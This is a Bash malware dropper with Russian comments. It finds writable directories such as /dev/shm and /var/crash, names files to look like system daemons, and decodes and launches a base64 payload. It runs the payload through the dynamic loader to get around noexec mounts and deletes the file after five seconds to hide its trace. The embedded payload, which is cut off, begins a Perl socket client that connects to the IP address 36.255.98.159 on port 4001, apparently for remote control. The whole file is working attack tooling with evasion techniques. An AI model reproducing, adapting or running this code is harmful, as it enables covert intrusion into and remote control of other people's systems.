#!/bin/bash

# Словари для имен
PREFIXES=("sys" "net" "update" "cloud" "core" "db" "cron" "session" "cache" "local")
NOUNS=("worker" "daemon" "service" "manager" "runner" "helper" "monitor" "provider" "driver" "guard")

# Глобальная переменная для хранения найденных доступных папок
VALID_DIRS=()

# --- 1. Поиск загрузчика (LD) ---
get_loader() {
    for path in \
        /lib64/ld-linux-x86-64.so.2 \
        /lib/ld-linux.so.2 \
        /lib/ld-linux-armhf.so.3 \
        /lib/ld-musl-x86_64.so.1; do
        if [ -f "$path" ]; then echo "$path"; return; fi
    done
}
LOADER_BIN=$(get_loader)

# --- 2. Умный поиск папок для записи ---
init_write_dirs() {
    # Список приоритетных кандидатов
    # /dev/shm и /run - это ОЗУ (лучший выбор)
    # /var/crash и /var/tmp - часто забывают закрыть
    local candidates=(
        "/dev/shm"
        "/tmp"
        "/var/tmp"
        "/run/lock"
        "/var/crash"
        "/var/opt"
        "/usr/tmp"
        "$HOME"
        "/run/user/$(id -u 2>/dev/null)"
    )

    # Проверяем кандидатов
    for dir in "${candidates[@]}"; do
        if [ -d "$dir" ] && [ -w "$dir" ]; then
            VALID_DIRS+=("$dir")
        fi
    done

    # ПЛАН Б: Если список пуст, ищем вообще ЛЮБУЮ доступную папку в /var и /tmp
    if [ ${#VALID_DIRS[@]} -eq 0 ]; then
        # Ищем папки с правами записи на глубину 3
        # 2>/dev/null скрывает ошибки доступа
        found=$(find /var /tmp -maxdepth 3 -type d -writable 2>/dev/null | head -n 5)
        for d in $found; do
            VALID_DIRS+=("$d")
        done
    fi

    # ПЛАН В: Если совсем всё плохо, пробуем текущую папку
    if [ ${#VALID_DIRS[@]} -eq 0 ]; then
        if [ -w "." ]; then VALID_DIRS+=("."); fi
    fi
}

# --- 3. Получение случайной папки из найденных ---
get_random_dir() {
    # Если массив пуст, пытаемся инициализировать
    if [ ${#VALID_DIRS[@]} -eq 0 ]; then
        init_write_dirs
    fi

    # Если всё ещё пусто (система read-only), возвращаем /tmp и надеемся на чудо
    if [ ${#VALID_DIRS[@]} -eq 0 ]; then
        echo "/tmp"
        return
    fi

    local rand_idx=$((RANDOM % ${#VALID_DIRS[@]}))
    echo "${VALID_DIRS[$rand_idx]}"
}

# --- 4. Генерация имени ---
get_random_name() {
    local dir="$1"
    local name=""
    while true; do
        local p=${PREFIXES[$RANDOM % ${#PREFIXES[@]}]}
        local n=${NOUNS[$RANDOM % ${#NOUNS[@]}]}
        local r=$RANDOM
        name="${p}_${n}_${r}"
        if [ ! -e "$dir/$name" ]; then echo "$name"; break; fi
    done
}

run_payload() {
    local base64_data="$1"

    # Выбираем папку
    local work_dir=$(get_random_dir)
    local bin_name=$(get_random_name "$work_dir")
    local full_path="$work_dir/$bin_name"

    # Распаковка
    echo "$base64_data" | base64 -d > "$full_path" 2>/dev/null
    chmod +x "$full_path"

    echo "[*] Run in: $work_dir -> $bin_name"

    # Запуск в subshell
    (
        cd "$work_dir" || exit

        if [ -n "$LOADER_BIN" ]; then
            # Запуск через LD (обход noexec)
            nohup "$LOADER_BIN" "./$bin_name" >/dev/null 2>&1 &
        else
            # Прямой запуск
            nohup "./$bin_name" >/dev/null 2>&1 &
        fi
    )

    # Очистка
    ( sleep 5; rm -f "$full_path" ) >/dev/null 2>&1 &
    sleep 0.5
}

echo "--- Init System ---"
# Первичная инициализация папок при старте скрипта
init_write_dirs


# script_10.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICczNi4yNTUuOTguMTU5JzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRp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